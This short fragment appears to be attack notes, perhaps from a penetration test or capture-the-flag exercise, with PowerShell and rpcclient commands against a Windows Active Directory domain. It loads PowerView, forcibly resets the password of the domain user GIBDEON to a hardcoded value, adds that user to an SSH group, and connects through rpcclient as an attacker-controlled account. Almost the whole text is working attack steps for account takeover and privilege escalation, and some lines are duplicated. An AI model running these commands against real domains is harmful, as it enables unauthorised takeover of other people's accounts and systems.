
. .\PowerView.ps1
. .\PowerView.ps1
$UserPassword = ConvertTo-SecureString 'Password@12345#$' -AsPlainText -Force
Set-DomainUserPassword -Identity GIBDEON -AccountPassword $UserPassword -Credential $Cred

Authenticating user with PSRemote
$UserPassword = ConvertTo-SecureString 'Password@12345#$' -AsPlainText -Force
Set-DomainUserPassword -Identity GIBDEON -AccountPassword $UserPassword -Credential $Cred
adding group to user
Add-DomainGroupMember -Identity SSH -Credential $cred -Members 'GIBDEON'

rpcclient -U $DOMAIN/$ControlledUser $DomainController